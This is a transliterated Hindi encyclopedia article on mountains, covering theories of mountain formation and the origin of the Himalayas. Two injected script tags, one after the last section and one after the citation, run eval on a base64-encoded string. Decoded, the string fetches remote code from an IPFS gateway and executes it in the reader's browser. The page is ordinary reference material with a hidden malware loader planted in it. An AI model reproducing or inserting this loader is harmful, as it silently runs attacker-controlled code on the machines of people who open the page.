पर्वत
[[chitr:Nanga-Parvat.jpg|thumb|nanga parvat|250px]] parvat ya paha d prithvi ki bhoo-satah par prakritik roop se ooancha utha hua hissa hota hai, jo zyadatar akasmik tariqe se ubhara hota hai aur paha di se b da hota hai. parvat zyadatar ek lagatar samooh mean hote haian.
parvat nirman
vibhinn prakar ke parvatoan ka nirman vibhinn prakar se hota hai, jaise jvalamukhi parvatoan ka nirman jvalamukhi udgaroan se tatha blak parvatoan ka nirman bhoopatal par p di dararoan se hota hai. bhransh ke samay asapas ka bhag tootakar niche dhans jata hai tatha bich ka bhag parvat ke roop mean oopar utha rah jata hai. kiantu b de b de parvatoan ka nirman adhikaanshat: paratadar chattanoan se hua hai. vishv ki sarvochch parvamalaean paratadar parvatoan ka hi udaharan haian. in paratoan ka nirman bhoo-abhinati mean mitti ke bharate rahane se hua hai. bhoo-abhinati mean ekatr kiya gaya padarth ek naram evan kamazor kshetr banata hai. padarth ke bhar ke karan santulan ko thik rakhane ke lie bhoo-abhinati ki tali niche ki or dhansati hai. is kamazor kshetr ke donoan or prachin kathor bhookhand hote haian. in bhookhandoan se davab p dane ke karan bhoo-abhinati mean ekatr padarth mean mo d p d jate haian, tatpashchath sankuchan se parvatoan ka nirtan hota hai. prithvi apani gurutvakarshan shakti ke dvara samanata aur sthayitv lati hai. isamean keval tap hi kabhi kabhi badhak hota hai. tap ke badh jane se padarth athava chattanoan mean phailav tatha tap ke ghat jane se sankuchan tatha jamav hota hai.
parvat nirman ki sankuchan parikalpana
[[chitr:Himalayas-8.jpg|thumb|250px|himalay]] prithvi adi kal mean drav roop mean thi. at: vartaman prithvi ka akar isake thande hone se bana hai. sarvapratham prithvi ki oopari parat thandhi hone se thos ho gee, kiantu niche thanda hone ki kriya jari rahi at: niche ki satah siku dati gee, aur oopari parat se alag ho gee. oopari parat mean gurutvakarshan shakti ke karan sankuchan utpann hua phalat: parvat nirmanakari parvatan ka janm hua. is parikalpana ko samajhane ke lie sookhe seb ka udaharan liya ja sakata hai. yah bhi kaha jata hai ki jaise jaise prithvi ki thandhe hone ki kriya dhimi hoti gee vaise vaise parvat nirmanakari kriyaean bhi mand hoti gee. arthar homs ki sanvahan dhara ki parikalpana ke anusar prithvi ke garbh mean tap ki dharaean oopar niche chala karati haian. ye dharaean bhoopatal ki nimn tah mean mu date samay sankuchan tatha phailate samay phailav utpann kar deti haian. at: do vibhinn dishaoan se ane vali sanvahan dharaoan ke mu dane ke sthan par parvat nirmanakari shaktiyoan ka janm hota hai. aragaid ki parikalpana ke anusar parvat nirman mean do kathor bhookhandoan mean se ek agr pradesh tatha doosara prishth pradesh hota hai. isake anusar parvat nirmanakari sankuchan ek or se hi hota hai, tatha isamean agr pradesh sthir rahata hai evan sankuchan prishth pradesh se ata hai. aragaiand ke anusar yooropiy parvatan mean afrika ka prishth pradesh, yoorop ke agr pradesh ki or khisakane laga jab ki yoorop ka agrapradesh sthir tha. at: sthal ka lagabhag 1,000 mil lanba bhag siku d gaya jisase tithij bhoo-abhinati mean mo d tatha dararean p dian aur yoorop mean alps parvat ka nirman hua. kobar ke anusar parvat-nirman-kriya mean koee agr pradesh ya prishth pradesh nahian hota hai balki donoan hi agrapradesh hote haian. donoan pradesh bhoo-abhinati ki or khisakate haian. isase donoan or mo d p date haian, jo madhyapiand ke donoan or ek doosare ki viparit disha mean hote haian. inake madhy mean madhyapiand hota hai.
kobar ke anusar himalay ka nirman
kobar ke anusar tithij bhoo-abhinati mean bharatiy tatha eshiyaee agrabhagoan se dabav aya. at: bhoo-abhinati mean donoan or mo d p d ge jisase dakshin tatiy himalay shreniyoan tatha uttari shreniyoan ka nirman hua. bich ke madhy piand se tibbat ke pathar ka nirman hua.
parvat nirman ke lie avashyak tatv
[[chitr:Mount Everest big.jpg|thumb|500px|mauant evarest]] parvat nirman ke lie nimnalikhit dashaean avashyak haian :-
- do kathor sthir bhookhandoan ka hona.
- isake bich mean bhoo-abhinati ka hona jisamean padarth bhookhandoan se kshayatmak shaktiyoan dvara kat katakar jama hota rahe tatha tali nirantar niche ko dhansati rahe.
- bich mean madhy piand ka hona jinaka prabhav mo d par p data hai.
parvat nirman ki avasthaean
parvat utpatti or vikas ki nimnalikhit avasthaean haian :-
- bhoo-abhinati ka hona, jisamean padarth jama hota rahe tatha sath hi tali nirantar niche dhansati rahe.
- mahadvipiy nirmanakari shaktiyoan dvara padarth ka oopar uthana.
- parvat n shaktiyoan ke dvara padarth mean mo d p dana.
- parshv shaktiyoan ka atyadhik prabhav p dana aur mo doan ki adhikata.
parvat nirman ki aantim avastha
parvatoan ka oopar uthana, atyadhik mo d ke karan dararean p dana, parshv se atyadhik dabav ke karan toote padarth ka door jakar girana.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
|
tika tippani aur sandarbh
dube, rameshachandr “khand 7”, hindi vishvakosh (hindi). bharatadiskavari pustakalay: nagari pracharini sabha varanasi, prishth sankhya- 124.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh